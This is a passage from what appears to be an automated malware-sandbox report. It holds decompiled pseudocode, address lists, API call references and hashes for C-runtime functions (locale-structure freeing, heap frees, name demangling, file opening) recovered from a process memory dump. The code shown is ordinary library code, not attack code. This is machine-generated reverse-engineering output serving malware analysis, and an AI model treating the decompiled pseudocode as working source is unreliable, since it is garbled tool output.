						_t130 = E004B9950(_t170, _t197, _t211, _t235, _t170,  *((intOrPtr*)(_t211 + 0xa8)), 0x100, _t28, 0xff, _v36 + 0x81, 0xff,  *((intOrPtr*)(_t211 + 8)), _t170);
						_t219 = _t219 + 0x24;
						_t236 = _t130;
						if(_t130 == 0) {
							goto L36;
						}
						_t34 = _t197 + 1; // 0x1
						_t134 = E004B9950(_t170, _t197, _t211, _t236, _t170,  *((intOrPtr*)(_t211 + 0xa8)), 0x200, _t34, 0xff, _v40 + 0x81, 0xff,  *((intOrPtr*)(_t211 + 8)), _t170);
						_t219 = _t219 + 0x24;
						if(_t134 == 0) {
							goto L36;
						}
						if(_v48 <= 1 || _v22 == _t170) {
							L22:
							_v60 = _v32 + 0x100;
							_t137 = E004BAE04(_t170, _t197, _t211, _t170, 1, _t197, 0x100, _v32 + 0x100,  *((intOrPtr*)(_t211 + 8)), _t170);
							_t219 = _t219 + 0x1c;
							if(_t137 == 0) {
								goto L36;
							}
							_t192 = _v32;
							_t138 = _t192 + 0xfe;
							 *_t138 = 0;
							_t179 = _v36;
							_v32 = _t138;
							_t139 = _v40;
							 *(_t179 + 0x7f) = _t170;
							_t180 = _t179 - 0xffffff80;
							 *(_t139 + 0x7f) = _t170;
							_v68 = _t180;
							 *_t180 = _t170;
							_t181 = _t139 + 0x80;
							_v56 = _t181;
							 *_t181 = _t170;
							if(_v48 <= 1 || _v22 == _t170) {
								L32:
								_t182 = 0x3f;
								memcpy(_t192, _t192 + 0x200, _t182 << 2);
								_push(0x1f);
								asm("movsw");
								_t141 = memcpy(_v36, _v36 + 0x100, 0 << 2);
								_push(0x1f);
								asm("movsw");
								asm("movsb");
								_t142 = memcpy(_t141, _t141 + 0x100, 0 << 2);
								asm("movsw");
								asm("movsb");
								_t215 = _v64;
								if( *((intOrPtr*)(_t215 + 0x8c)) != 0) {
									asm("lock xadd [ecx], eax");
									if((_t142 | 0xffffffff) == 0) {
										E004B2FCF( *(_t215 + 0x90) - 0xfe);
										E004B2FCF( *(_t215 + 0x94) - 0x80);
										E004B2FCF( *(_t215 + 0x98) - 0x80);
										E004B2FCF( *((intOrPtr*)(_t215 + 0x8c)));
									}
								}
								_t143 = _v44;
								 *_t143 = 1;
								 *((intOrPtr*)(_t215 + 0x8c)) = _t143;
								 *_t215 = _v60;
								 *(_t215 + 0x90) = _v32;
								 *(_t215 + 0x94) = _v68;
								 *(_t215 + 0x98) = _v56;
								 *(_t215 + 4) = _v48;
								L37:
								E004B2FCF(_v52);
								goto L41;
							} else {
								_t189 =  &_v21;
								while(1) {
									_t160 =  *_t189;
									if(_t160 == 0) {
										break;
									}
									_t216 =  *(_t189 - 1) & 0x000000ff;
									if(_t216 > (_t160 & 0x000000ff)) {
										L30:
										_t189 =  &(_t189[2]);
										if( *(_t189 - 1) != _t170) {
											continue;
										}
										break;
									}
									_t209 = _t192 + 0x100 + _t216 * 2;
									do {
										_t216 = _t216 + 1;
										 *_t209 = 0x8000;
										_t209 = _t209 + 2;
									} while (_t216 <= ( *_t189 & 0x000000ff));
									goto L30;
								}
								goto L32;
							}
						} else {
							_t190 =  &_v21;
							while(1) {
								_t165 =  *_t190;
								if(_t165 == 0) {
									goto L22;
								}
								_t194 =  *(_t190 - 1) & 0x000000ff;
								_t166 = _t165 & 0x000000ff;
								while(_t194 <= _t166) {
									 *((char*)(_t194 + _t197)) = 0x20;
									_t194 = _t194 + 1;
									__eflags = _t194;
									_t166 =  *_t190 & 0x000000ff;
								}
								_t190 =  &(_t190[2]);
								if( *(_t190 - 1) != _t170) {
									continue;
								}
								goto L22;
							}
							goto L22;
						}
					}
				}
				_push(_t106);
				_push(0x1004);
				_push(_t172);
				_push(0);
				_push( &_v76);
				_t168 = E004BAC52(0, __edi, _t211);
				_t219 = _t218 + 0x14;
				if(_t168 != 0) {
					goto L36;
				}
				goto L3;
			}

0x004ae555
0x004ae55c
0x004ae561
0x004ae564
0x004ae567
0x004ae56a
0x004ae56d
0x004ae573
0x004ae576
0x004ae579
0x004ae57c
0x004ae57f
0x004ae584
0x004ae8a4
0x004ae8a6
0x004ae8a8
0x004ae8a8
0x004ae8ab
0x004ae8b1
0x004ae8b3
0x004ae8b9
0x004ae8bf
0x004ae8c9
0x004ae8d3
0x004ae8da
0x004ae8ea
0x004ae8ea
0x004ae58a
0x004ae58d
0x004ae592
0x004ae5b0
0x004ae5ba
0x004ae5bd
0x004ae5d0
0x004ae5d3
0x004ae5e1
0x004ae5e4
0x004ae5f2
0x004ae5f5
0x004ae606
0x004ae609
0x004ae60c
0x004ae611
0x004ae617
0x004ae86b
0x004ae86e
0x004ae876
0x004ae87e
0x004ae886
0x004ae890
0x004ae890
0x00000000
0x004ae640
0x004ae640
0x004ae642
0x004ae642
0x004ae645
0x004ae646
0x004ae650
0x004ae651
0x004ae65c
0x00000000
0x00000000
0x004ae662
0x004ae665
0x004ae668
0x00000000
0x00000000
0x004ae675
0x004ae678
0x004ae698
0x004ae69d
0x004ae6a0
0x004ae6a2
0x00000000
0x00000000
0x004ae6bc
0x004ae6cc
0x004ae6d1
0x004ae6d6
0x00000000
0x00000000
0x004ae6e0
0x004ae70d
0x004ae723
0x004ae726
0x004ae72b
0x004ae730
0x00000000
0x00000000
0x004ae736
0x004ae73b
0x004ae741
0x004ae744
0x004ae747
0x004ae74a
0x004ae74d
0x004ae750
0x004ae757
0x004ae75a
0x004ae75d
0x004ae75f
0x004ae765
0x004ae768
0x004ae76a
0x004ae7ac
0x004ae7ae
0x004ae7b7
0x004ae7bc
0x004ae7bf
0x004ae7c9
0x004ae7cb
0x004ae7ce
0x004ae7d0
0x004ae7d9
0x004ae7db
0x004ae7dd
0x004ae7de
0x004ae7e9
0x004ae7ee
0x004ae7f2
0x004ae800
0x004ae813
0x004ae821
0x004ae82c
0x004ae831
0x004ae7f2
0x004ae834
0x004ae837
0x004ae83d
0x004ae846
0x004ae84b
0x004ae854
0x004ae85d
0x004ae866
0x004ae891
0x004ae894
0x00000000
0x004ae771
0x004ae771
0x004ae774
0x004ae774
0x004ae778
0x00000000
0x00000000
0x004ae77a
0x004ae783
0x004ae7a1
0x004ae7a1
0x004ae7a7
0x00000000
0x00000000
0x00000000
0x004ae7a7
0x004ae78b
0x004ae78e
0x004ae793
0x004ae794
0x004ae797
0x004ae79d
0x00000000
0x004ae78e
0x00000000
0x004ae7a9
0x004ae6e7
0x004ae6e7
0x004ae6ea
0x004ae6ea
0x004ae6ee
0x00000000
0x00000000
0x004ae6f0
0x004ae6f4
0x004ae701
0x004ae6f9
0x004ae6fd
0x004ae6fd
0x004ae6fe
0x004ae6fe
0x004ae705
0x004ae70b
0x00000000
0x00000000
0x00000000
0x004ae70b
0x00000000
0x004ae6ea
0x004ae6e0
0x004ae617
0x004ae594
0x004ae595
0x004ae59a
0x004ae59e
0x004ae59f
0x004ae5a0
0x004ae5a5
0x004ae5aa
0x00000000
0x00000000
0x00000000

APIs

_free.LIBCMT ref: 004AE5BD
_free.LIBCMT ref: 004AE5D3
_free.LIBCMT ref: 004AE5E4
_free.LIBCMT ref: 004AE5F5
_free.LIBCMT ref: 004AE60C

Part of subcall function 004BAC52: _free.LIBCMT ref: 004BACBD

_free.LIBCMT ref: 004AE800
_free.LIBCMT ref: 004AE813
_free.LIBCMT ref: 004AE821
_free.LIBCMT ref: 004AE82C
_free.LIBCMT ref: 004AE86E
_free.LIBCMT ref: 004AE876
_free.LIBCMT ref: 004AE87E
_free.LIBCMT ref: 004AE886
_free.LIBCMT ref: 004AE894

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 8a636e2bbdafa0c27dd1f470b398a38e7b7c2fc48a7cac7d3dddb75e94c7b168
Instruction ID: 41dedc299b97d59205ef8975e4c92ae30be2675a0302f90edd16b3296b1dee3b
Opcode Fuzzy Hash: 8a636e2bbdafa0c27dd1f470b398a38e7b7c2fc48a7cac7d3dddb75e94c7b168
Instruction Fuzzy Hash: 07B1CE70900205EFDB11DF6AC881BEEBBF4BF19304F14456EF869A7342D779A8419B68

Uniqueness

Uniqueness Score: -1.00%

Function 00C5D824, Relevance: 19.8, APIs: 13, Instructions: 301COMMON

Download Yara Rule

APIs

DName::operator+.LIBCMT ref: 00C5D88F
DName::operator+.LIBCMT ref: 00C5D9C5

Part of subcall function 00C593E8: shared_ptr.LIBCMT ref: 00C59404

DName::operator+.LIBCMT ref: 00C5DA11
DName::operator+.LIBCMT ref: 00C5DA20
DName::operator+.LIBCMT ref: 00C5D97B

Part of subcall function 00C5F12B: DName::operator=.LIBVCRUNTIME ref: 00C5F1BA

DName::operator+.LIBCMT ref: 00C5DB4D
DName::operator=.LIBVCRUNTIME ref: 00C5DB8D
DName::DName.LIBVCRUNTIME ref: 00C5DBA5
DName::operator+.LIBCMT ref: 00C5DBB4
DName::operator+.LIBCMT ref: 00C5DBC0

Part of subcall function 00C5F12B: Replicator::operator[].LIBVCRUNTIME ref: 00C5F168

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: Name::operator+$Name::operator=$NameName::Replicator::operator[]shared_ptr
String ID:
API String ID: 1026175760-0
Opcode ID: f361cf698c94d4355b755a5040df6f1cd2bfda4919ad2b8e84696e8b1dd031cb
Instruction ID: 1932075fbe8f2f112df6373c0c76160210b33425659b7425904e4aff959785d5
Opcode Fuzzy Hash: f361cf698c94d4355b755a5040df6f1cd2bfda4919ad2b8e84696e8b1dd031cb
Instruction Fuzzy Hash: BDC1C379900344DFDB24CFA4C895BEEB7F9AB09305F04449DF946A7291EB719A8CCB44

Uniqueness

Uniqueness Score: -1.00%

Function 004BDA4B, Relevance: 19.6, APIs: 13, Instructions: 114
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004BDA4B(intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _t25;
				intOrPtr* _t26;
				intOrPtr _t28;
				intOrPtr* _t29;
				intOrPtr* _t31;
				intOrPtr* _t45;
				intOrPtr* _t46;
				intOrPtr* _t47;
				intOrPtr* _t55;
				intOrPtr* _t70;
				intOrPtr _t74;

				_t74 = _a4;
				_t25 =  *((intOrPtr*)(_t74 + 0x88));
				if(_t25 != 0 && _t25 != 0x4eb098) {
					_t45 =  *((intOrPtr*)(_t74 + 0x7c));
					if(_t45 != 0 &&  *_t45 == 0) {
						_t46 =  *((intOrPtr*)(_t74 + 0x84));
						if(_t46 != 0 &&  *_t46 == 0) {
							E004B2FCF(_t46);
							E004BCDDE( *((intOrPtr*)(_t74 + 0x88)));
						}
						_t47 =  *((intOrPtr*)(_t74 + 0x80));
						if(_t47 != 0 &&  *_t47 == 0) {
							E004B2FCF(_t47);
							E004BD298( *((intOrPtr*)(_t74 + 0x88)));
						}
						E004B2FCF( *((intOrPtr*)(_t74 + 0x7c)));
						E004B2FCF( *((intOrPtr*)(_t74 + 0x88)));
					}
				}
				_t26 =  *((intOrPtr*)(_t74 + 0x8c));
				if(_t26 != 0 &&  *_t26 == 0) {
					E004B2FCF( *((intOrPtr*)(_t74 + 0x90)) - 0xfe);
					E004B2FCF( *((intOrPtr*)(_t74 + 0x94)) - 0x80);
					E004B2FCF( *((intOrPtr*)(_t74 + 0x98)) - 0x80);
					E004B2FCF( *((intOrPtr*)(_t74 + 0x8c)));
				}
				E004BDBBE( *((intOrPtr*)(_t74 + 0x9c)));
				_t28 = 6;
				_t55 = _t74 + 0xa0;
				_v8 = _t28;
				_t70 = _t74 + 0x28;
				do {
					if( *((intOrPtr*)(_t70 - 8)) != 0x4eb288) {
						_t31 =  *_t70;
						if(_t31 != 0 &&  *_t31 == 0) {
							E004B2FCF(_t31);
							E004B2FCF( *_t55);
						}
						_t28 = _v8;
					}
					if( *((intOrPtr*)(_t70 - 0xc)) != 0) {
						_t29 =  *((intOrPtr*)(_t70 - 4));
						if(_t29 != 0 &&  *_t29 == 0) {
							E004B2FCF(_t29);
						}
						_t28 = _v8;
					}
					_t55 = _t55 + 4;
					_t70 = _t70 + 0x10;
					_t28 = _t28 - 1;
					_v8 = _t28;
				} while (_t28 != 0);
				return E004B2FCF(_t74);
			}

0x004bda53
0x004bda57
0x004bda5f
0x004bda68
0x004bda6d
0x004bda74
0x004bda7c
0x004bda84
0x004bda8f
0x004bda95
0x004bda96
0x004bda9e
0x004bdaa6
0x004bdab1
0x004bdab7
0x004bdabb
0x004bdac6
0x004bdacc
0x004bda6d
0x004bdacd
0x004bdad5
0x004bdae8
0x004bdafb
0x004bdb09
0x004bdb14
0x004bdb19
0x004bdb22
0x004bdb2a
0x004bdb2b
0x004bdb31
0x004bdb34
0x004bdb37
0x004bdb3e
0x004bdb40
0x004bdb44
0x004bdb4c
0x004bdb53
0x004bdb59
0x004bdb5a
0x004bdb5a
0x004bdb61
0x004bdb63
0x004bdb68
0x004bdb70
0x004bdb75
0x004bdb76
0x004bdb76
0x004bdb79
0x004bdb7c
0x004bdb7f
0x004bdb82
0x004bdb82
0x004bdb94

APIs

___free_lconv_mon.LIBCMT ref: 004BDA8F

Part of subcall function 004BCDDE: _free.LIBCMT ref: 004BCDFB
Part of subcall function 004BCDDE: _free.LIBCMT ref: 004BCE0D
Part of subcall function 004BCDDE: _free.LIBCMT ref: 004BCE1F
Part of subcall function 004BCDDE: _free.LIBCMT ref: 004BCE31
Part of subcall function 004BCDDE: _free.LIBCMT ref: 004BCE43
Part of subcall function 004BCDDE: _free.LIBCMT ref: 004BCE55
Part of subcall function 004BCDDE: _free.LIBCMT ref: 004BCE67
Part of subcall function 004BCDDE: _free.LIBCMT ref: 004BCE79
Part of subcall function 004BCDDE: _free.LIBCMT ref: 004BCE8B
Part of subcall function 004BCDDE: _free.LIBCMT ref: 004BCE9D
Part of subcall function 004BCDDE: _free.LIBCMT ref: 004BCEAF
Part of subcall function 004BCDDE: _free.LIBCMT ref: 004BCEC1
Part of subcall function 004BCDDE: _free.LIBCMT ref: 004BCED3

_free.LIBCMT ref: 004BDA84

Part of subcall function 004B2FCF: RtlFreeHeap.NTDLL(00000000,00000000,?,004BD54B,?,00000000,?,00000000,?,004BD7EF,?,00000007,?,?,004BDBE3,?), ref: 004B2FE5

_free.LIBCMT ref: 004BDAA6
_free.LIBCMT ref: 004BDABB
_free.LIBCMT ref: 004BDAC6
_free.LIBCMT ref: 004BDAE8
_free.LIBCMT ref: 004BDAFB
_free.LIBCMT ref: 004BDB09
_free.LIBCMT ref: 004BDB14
_free.LIBCMT ref: 004BDB4C
_free.LIBCMT ref: 004BDB53
_free.LIBCMT ref: 004BDB70
_free.LIBCMT ref: 004BDB88

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _free$FreeHeap___free_lconv_mon
String ID:
API String ID: 358854727-0
Opcode ID: 414be654a2f0fb56b3e1cf125740efc78b3658e506fb9c3ebd9cd1fa168eb216
Instruction ID: ea171fb04e103e79ad14022c68cc06d52c79bff9a145cefa33e706fbd9c84d7e
Opcode Fuzzy Hash: 414be654a2f0fb56b3e1cf125740efc78b3658e506fb9c3ebd9cd1fa168eb216
Instruction Fuzzy Hash: A8319E31A083009FDB21AA3AD945BE7B3E8EF44354F1545AFE458D7255EB78BC809B38

Uniqueness

Uniqueness Score: -1.00%

Function 00C84F06, Relevance: 19.6, APIs: 13, Instructions: 113COMMON

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 00C84F4A

Part of subcall function 00C83F4A: _free.LIBCMT ref: 00C83F67
Part of subcall function 00C83F4A: _free.LIBCMT ref: 00C83F79
Part of subcall function 00C83F4A: _free.LIBCMT ref: 00C83F8B
Part of subcall function 00C83F4A: _free.LIBCMT ref: 00C83F9D
Part of subcall function 00C83F4A: _free.LIBCMT ref: 00C83FAF
Part of subcall function 00C83F4A: _free.LIBCMT ref: 00C83FC1
Part of subcall function 00C83F4A: _free.LIBCMT ref: 00C83FD3
Part of subcall function 00C83F4A: _free.LIBCMT ref: 00C83FE5
Part of subcall function 00C83F4A: _free.LIBCMT ref: 00C83FF7
Part of subcall function 00C83F4A: _free.LIBCMT ref: 00C84009
Part of subcall function 00C83F4A: _free.LIBCMT ref: 00C8401B
Part of subcall function 00C83F4A: _free.LIBCMT ref: 00C8402D
Part of subcall function 00C83F4A: _free.LIBCMT ref: 00C8403F

_free.LIBCMT ref: 00C84F3F

Part of subcall function 00C7CA6E: HeapFree.KERNEL32(00000000,00000000,?,00C79D3C), ref: 00C7CA84
Part of subcall function 00C7CA6E: GetLastError.KERNEL32(?,?,00C79D3C), ref: 00C7CA96

_free.LIBCMT ref: 00C84F61
_free.LIBCMT ref: 00C84F76
_free.LIBCMT ref: 00C84F81
_free.LIBCMT ref: 00C84FA3
_free.LIBCMT ref: 00C84FB6
_free.LIBCMT ref: 00C84FC4
_free.LIBCMT ref: 00C84FCF
_free.LIBCMT ref: 00C85007
_free.LIBCMT ref: 00C8500E
_free.LIBCMT ref: 00C8502B
_free.LIBCMT ref: 00C85043

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: b883fac4d1da4e82b7792c8b1ce8d00535509f549d3939b2b38039c02e57cea4
Instruction ID: bba04d2b96e296a26e6e9cf4dea6bb8096c1845c28c1fb2c5cf9045c02b1e181
Opcode Fuzzy Hash: b883fac4d1da4e82b7792c8b1ce8d00535509f549d3939b2b38039c02e57cea4
Instruction Fuzzy Hash: 59318F3150060A9FEB24FA78D885B5A73E9AF10765F10841DF169EB191DF72EE40EB18

Uniqueness

Uniqueness Score: -1.00%

Function 004BCEDC, Relevance: 18.4, APIs: 12, Instructions: 376
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E004BCEDC(char _a4) {
				void* _v8;
				void* _v12;
				signed int _v16;
				intOrPtr* _v20;
				signed int _v24;
				char _v28;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t105;
				char _t195;
				char _t210;
				signed int _t213;
				char* _t225;
				signed int _t226;
				signed int _t230;
				signed int _t231;
				intOrPtr _t232;
				void* _t233;
				void* _t235;
				signed int _t236;
				signed int _t237;
				signed int _t238;
				signed int _t239;
				signed int _t240;
				signed int _t241;
				signed int _t242;
				signed int _t243;
				signed int _t244;
				signed int _t245;
				signed int _t246;
				signed int _t247;
				signed int _t248;
				signed int _t249;
				signed int _t250;
				signed int _t251;
				signed int _t252;
				signed int _t253;
				signed int _t254;
				signed int _t255;
				char* _t256;

				_t210 = _a4;
				_v16 = 0;
				_v28 = _t210;
				_v24 = 0;
				if( *((intOrPtr*)(_t210 + 0xac)) != 0 ||  *((intOrPtr*)(_t210 + 0xb0)) != 0) {
					_t233 = E004B2F72(0, 1, 0x50);
					_v8 = _t233;
					E004B2FCF(0);
					if(_t233 != 0) {
						_t226 = E004B2F72(0, 1, 4);
						_v12 = _t226;
						E004B2FCF(0);
						if(_t226 != 0) {
							if( *((intOrPtr*)(_t210 + 0xac)) == 0) {
								_t213 = 0x14;
								memcpy(_v8, 0x4eb098, _t213 << 2);
								L25:
								_t235 = _v8;
								_t230 = _v16;
								 *_t235 =  *( *(_t210 + 0x88));
								 *((intOrPtr*)(_t235 + 4)) =  *((intOrPtr*)( *(_t210 + 0x88) + 4));
								 *((intOrPtr*)(_t235 + 8)) =  *((intOrPtr*)( *(_t210 + 0x88) + 8));
								 *((intOrPtr*)(_t235 + 0x30)) =  *((intOrPtr*)( *(_t210 + 0x88) + 0x30));
								 *((intOrPtr*)(_t235 + 0x34)) =  *((intOrPtr*)( *(_t210 + 0x88) + 0x34));
								 *_v12 = 1;
								if(_t230 != 0) {
									 *_t230 = 1;
								}
								goto L27;
							}
							_t231 = E004B2F72(0, 1, 4);
							_v16 = _t231;
							E004B2FCF(0);
							if(_t231 != 0) {
								_t232 =  *((intOrPtr*)(_t210 + 0xac));
								_t14 = _t233 + 0xc; // 0xc
								_t236 = E004BAC52(_t210, _t232, _t233);
								_t237 = _t236 | E004BAC52(_t210, _t232, _t236,  &_v28, 1, _t232, 0x14, _v8 + 0x10,  &_v28);
								_t238 = _t237 | E004BAC52(_t210, _t232, _t237,  &_v28, 1, _t232, 0x16, _v8 + 0x14, 1);
								_t239 = _t238 | E004BAC52(_t210, _t232, _t238,  &_v28, 1, _t232, 0x17, _v8 + 0x18, _t232);
								_v20 = _v8 + 0x1c;
								_t240 = _t239 | E004BAC52(_t210, _t232, _t239,  &_v28, 1, _t232, 0x18, _v8 + 0x1c, 0x15);
								_t241 = _t240 | E004BAC52(_t210, _t232, _t240,  &_v28, 1, _t232, 0x50, _v8 + 0x20, _t14);
								_t242 = _t241 | E004BAC52(_t210, _t232, _t241);
								_t243 = _t242 | E004BAC52(_t210, _t232, _t242,  &_v28, 0, _t232, 0x1a, _v8 + 0x28,  &_v28);
								_t244 = _t243 | E004BAC52(_t210, _t232, _t243,  &_v28, 0, _t232, 0x19, _v8 + 0x29, 1);
								_t245 = _t244 | E004BAC52(_t210, _t232, _t244,  &_v28, 0, _t232, 0x54, _v8 + 0x2a, _t232);
								_t246 = _t245 | E004BAC52(_t210, _t232, _t245,  &_v28, 0, _t232, 0x55, _v8 + 0x2b, 0x51);
								_t247 = _t246 | E004BAC52(_t210, _t232, _t246,  &_v28, 0, _t232, 0x56, _v8 + 0x2c, _v8 + 0x24);
								_t248 = _t247 | E004BAC52(_t210, _t232, _t247);
								_t249 = _t248 | E004BAC52(_t210, _t232, _t248,  &_v28, 0, _t232, 0x52, _v8 + 0x2e,  &_v28);
								_t250 = _t249 | E004BAC52(_t210, _t232, _t249,  &_v28, 0, _t232, 0x53, _v8 + 0x2f, 0);
								_t251 = _t250 | E004BAC52(_t210, _t232, _t250,  &_v28, 2, _t232, 0x15, _v8 + 0x38, _t232);
								_t252 = _t251 | E004BAC52(_t210, _t232, _t251,  &_v28, 2, _t232, 0x14, _v8 + 0x3c, 0x57);
								_t253 = _t252 | E004BAC52(_t210, _t232, _t252,  &_v28, 2, _t232, 0x16, _v8 + 0x40, _v8 + 0x2d);
								_push(_v8 + 0x44);
								_push(0x17);
								_push(_t232);
								_t254 = _t253 | E004BAC52(_t210, _t232, _t253);
								_t255 = _t254 | E004BAC52(_t210, _t232, _t254,  &_v28, 2, _t232, 0x50, _v8 + 0x48,  &_v28);
								if((E004BAC52(_t210, _t232, _t255,  &_v28, 2, _t232, 0x51, _v8 + 0x4c, 2) | _t255) == 0) {
									_t225 =  *_v20;
									while( *_t225 != 0) {
										_t195 =  *_t225;
										if(_t195 < 0x30 || _t195 > 0x39) {
											if(_t195 != 0x3b) {
												goto L17;
											}
											_t256 = _t225;
											do {
												 *_t256 =  *((intOrPtr*)(_t256 + 1));
												_t256 = _t256 + 1;
											} while ( *_t256 != 0);
										} else {
											 *_t225 = _t195 - 0x30;
											L17:
											_t225 = _t225 + 1;
										}
									}
									goto L25;
								}
								E004BCDDE(_v8);
								E004B2FCF(_v8);
								E004B2FCF(_v12);
								E004B2FCF(_v16);
								goto L4;
							}
							E004B2FCF(_t233);
							E004B2FCF(_v12);
							L7:
							goto L4;
						}
						E004B2FCF(_t233);
						goto L7;
					}
					L4:
					return 1;
				} else {
					_t230 = 0;
					_v12 = 0;
					_t235 = 0x4eb098;
					L27:
					_t105 =  *(_t210 + 0x84);
					if(_t105 != 0) {
						asm("lock dec dword [eax]");
					}
					if( *((intOrPtr*)(_t210 + 0x7c)) != 0) {
						asm("lock xadd [ecx], eax");
						if((_t105 | 0xffffffff) == 0) {
							E004B2FCF( *(_t210 + 0x88));
							E004B2FCF( *((intOrPtr*)(_t210 + 0x7c)));
						}
					}
					 *((intOrPtr*)(_t210 + 0x7c)) = _v12;
					 *(_t210 + 0x84) = _t230;
					 *(_t210 + 0x88) = _t235;
					return 0;
				}
			}

0x004bcee5
0x004bceec
0x004bceef
0x004bcef2
0x004bcefb
0x004bcf1d
0x004bcf21
0x004bcf24
0x004bcf2e
0x004bcf41
0x004bcf45
0x004bcf48
0x004bcf52
0x004bcf64
0x004bd1fa
0x004bd1fb
0x004bd1fd
0x004bd205
0x004bd209
0x004bd20e
0x004bd219
0x004bd225
0x004bd231
0x004bd23d
0x004bd243
0x004bd247
0x004bd249
0x004bd249
0x00000000
0x004bd247
0x004bcf73
0x004bcf77
0x004bcf7a
0x004bcf84
0x004bcf98
0x004bcf9e
0x004bcfb3
0x004bcfc7
0x004bcfde
0x004bcff8
0x004bd000
0x004bd012
0x004bd029
0x004bd040
0x004bd05a
0x004bd071
0x004bd088
0x004bd09f
0x004bd0b9
0x004bd0d0
0x004bd0e7
0x004bd0fe
0x004bd118
0x004bd12f
0x004bd146
0x004bd14e
0x004bd14f
0x004bd151
0x004bd15d
0x004bd177
0x004bd193
0x004bd1c1
0x004bd1d4
0x004bd1c5
0x004bd1c9
0x004bd1dd
0x00000000
0x00000000
0x004bd1df
0x004bd1e1
0x004bd1e4
0x004bd1e6
0x004bd1e9
0x004bd1cf
0x004bd1d1
0x004bd1d3
0x004bd1d3
0x004bd1d3
0x004bd1c9
0x00000000
0x004bd1d9
0x004bd199
0x004bd19f
0x004bd1a8
0x004bd1b1
0x00000000
0x004bd1b6
0x004bcf87
0x004bcf90
0x004bcf5a
0x00000000
0x004bcf5a
0x004bcf55
0x00000000
0x004bcf55
0x004bcf30
0x00000000
0x004bcf05
0x004bcf05
0x004bcf07
0x004bcf0a
0x004bd24b
0x004bd24b
0x004bd253
0x004bd255
0x004bd255
0x004bd25d
0x004bd262
0x004bd266
0x004bd26e
0x004bd276
0x004bd27c
0x004bd266
0x004bd280
0x004bd285
0x004bd28b
0x00000000
0x004bd28b

APIs

_free.LIBCMT ref: 004BCF24
_free.LIBCMT ref: 004BCF48
_free.LIBCMT ref: 004BCF55
_free.LIBCMT ref: 004BCF7A
_free.LIBCMT ref: 004BCF87
_free.LIBCMT ref: 004BCF90
_free.LIBCMT ref: 004BD26E
_free.LIBCMT ref: 004BD276

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 60bfcd6df8605fe5ed4878f4d10e6d0750fb59e4e33e636ece81b8e8ea909c17
Instruction ID: 88ec5743d30fd5a22a257532df4467679931d779ffe61120a42249d80850000e
Opcode Fuzzy Hash: 60bfcd6df8605fe5ed4878f4d10e6d0750fb59e4e33e636ece81b8e8ea909c17
Instruction Fuzzy Hash: BEC13571D40204ABDB20DFA9CC83FEA77F8AB44704F14416AFA05EB282E674DD519B75

Uniqueness

Uniqueness Score: -1.00%

Function 00C84050, Relevance: 18.4, APIs: 12, Instructions: 374COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00C84098
_free.LIBCMT ref: 00C840BC
_free.LIBCMT ref: 00C840C9
_free.LIBCMT ref: 00C840EE
_free.LIBCMT ref: 00C840FB
_free.LIBCMT ref: 00C84104
_free.LIBCMT ref: 00C843DF
_free.LIBCMT ref: 00C843E7

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 2d227b3039e4813d120a40280a8ac5d7f0c644d246b61bd317f67ae4a7d62af2
Instruction ID: a890e5ed13cafabe14f1a2f945fbd853a58dc710de1f1908e291e5c7df3219f6
Opcode Fuzzy Hash: 2d227b3039e4813d120a40280a8ac5d7f0c644d246b61bd317f67ae4a7d62af2
Instruction Fuzzy Hash: BEC13472D40205AFDB20DBA8CC87FDE77F8AF08B14F144165FA05FB292D6709A45AB64

Uniqueness

Uniqueness Score: -1.00%

Function 00C89AD6, Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273COMMON

Download Yara Rule

APIs

Part of subcall function 00C895F7: CreateFileW.KERNEL32(00000000,00000000,?,00C89B7F,?,?,00000000,?,00C89B7F,00000000,0000000C), ref: 00C89614

GetLastError.KERNEL32 ref: 00C89BEA
__dosmaperr.LIBCMT ref: 00C89BF1
GetFileType.KERNEL32(00000000), ref: 00C89BFD
GetLastError.KERNEL32 ref: 00C89C07
__dosmaperr.LIBCMT ref: 00C89C10
CloseHandle.KERNEL32(00000000), ref: 00C89C30
CloseHandle.KERNEL32(00C7C6F9), ref: 00C89D7D
GetLastError.KERNEL32 ref: 00C89DAF
__dosmaperr.LIBCMT ref: 00C89DB6

Strings

H, xrefs: 00C89D3B

